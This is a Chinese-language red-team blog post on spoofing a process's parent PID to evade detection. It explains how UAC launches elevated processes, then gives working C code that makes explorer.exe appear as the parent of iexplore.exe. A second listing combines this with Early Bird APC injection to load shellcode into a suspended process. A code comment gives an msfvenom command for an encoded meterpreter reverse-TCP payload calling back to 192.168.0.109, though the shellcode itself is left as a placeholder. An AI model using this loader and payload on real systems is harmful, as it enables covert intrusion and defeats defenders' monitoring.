idiotc4t's blog
搜索文档…
GitBook 提供支持
伪装PPID规避检测
fake-PPID

UAC创建进程的过程的疑惑

在触发UAC时,操作系统会创建一个名为consent.exe的进程,该进程通过白名单和用户选择来确定是否提升权限。 请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
触发UAC创建进程的过程中,我们可以知道实际上高权限的进程是由consent.exe进程创建的,但实际上父进程并非指向consent.exe任就是UAC发起者的进程ID,那么我们是否可以自己指定父进程,增加判断成本从而使蓝队脑阔疼。
父进程并非consent.exe

CreateProcessAsUser函数

最终创建函数的是由consent.exe调用的CreateProcessAsUser函数,那我们猜测是否是consent.exe调用时指定了某些参数,导致PPID的更换。
    在官方文档中给出了如下原型:
1
BOOL CreateProcessAsUserA(
2
HANDLE hToken,
3
LPCSTR lpApplicationName,
4
LPSTR lpCommandLine,
5
LPSECURITY_ATTRIBUTES lpProcessAttributes,
6
LPSECURITY_ATTRIBUTES lpThreadAttributes,
7
BOOL bInheritHandles,
8
DWORD dwCreationFlags,
9
LPVOID lpEnvironment,
10
LPCSTR lpCurrentDirectory,
11
LPSTARTUPINFOA lpStartupInfo,
12
LPPROCESS_INFORMATION lpProcessInformation
13
);
Copied!
查询官方文档得知,如果在dwCreationFlags中EXTENDED_STARTUPINFO_PRESENT标准,那么lpStartupInfo传入的就会是一个名为STARTUPINFOEXA的结构体,而这个结构体能指定父进程的相关信息,最终传入的PPID会被写入到新进程_eprocess结构体的InheritedFromUniqueProcessId位置。
1
typedef struct _STARTUPINFOEXA {
2
STARTUPINFOA StartupInfo;
3
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
4
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
Copied!
根据查询的文档,CreateProcess函数同样也支持STARTUPINFOEXA结构体。

伪装PPID创建iexplore.exe

    寻找explorer.exe的pid
1
DWORD FindExplorerPID() {
2
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
3
PROCESSENTRY32 process = { 0 };
4
process.dwSize = sizeof(process);
5
6
if (Process32First(snapshot, &process)) {
7
do {
8
if (!wcscmp(process.szExeFile, L"explorer.exe"))
9
break;
10
} while (Process32Next(snapshot, &process));
11
}
12
13
CloseHandle(snapshot);
14
return process.th32ProcessID;
15
}
Copied!
1
int main() {
2
3
STARTUPINFOEXA siex = {0};
4
SIZE_T Size;
5
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
6
7
HANDLE hFake = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
8
9
InitializeProcThreadAttributeList(NULL, 1, 0, &Size);
10
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, Size);
11
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &Size);
12
13
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hFake, sizeof(HANDLE), NULL, NULL);
14
15
16
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, NULL);
17
//PS:这里有个小坑,需要开启继承句柄
18
return 0;
19
}
Copied!

与进程注入技术EARLYBIRD搭配使用

1
#include <stdio.h>
2
#include <windows.h>
3
#include <TlHelp32.h>
4
5
6
DWORD FindExplorerPID() {
7
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
8
PROCESSENTRY32 process = { 0 };
9
process.dwSize = sizeof(process);
10
11
if (Process32First(snapshot, &process)) {
12
do {
13
if (!wcscmp(process.szExeFile, L"explorer.exe"))
14
break;
15
} while (Process32Next(snapshot, &process));
16
}
17
18
CloseHandle(snapshot);
19
return process.th32ProcessID;
20
}
21
22
int main() {
23
24
//msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.109 EXITFUNC=thread -f
25
unsigned char shellcode[] = ("XXX");
26
27
28
STARTUPINFOEXA siex;
29
PROCESS_INFORMATION piex;
30
SIZE_T sizeT;
31
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
32
33
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
34
35
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
36
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
37
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
38
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
39
40
41
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);
42
43
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
44
WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
45
QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
46
ResumeThread(piex.hThread);
47
CloseHandle(piex.hThread);
48
49
return 0;
50
}
Copied!

LINKS

New ‘Early Bird’ Code Injection Technique
Information Security Newspaper | Hacking News
Programming reference for the Win32 API - Win32 apps
docsmsft
最近更新 1yr ago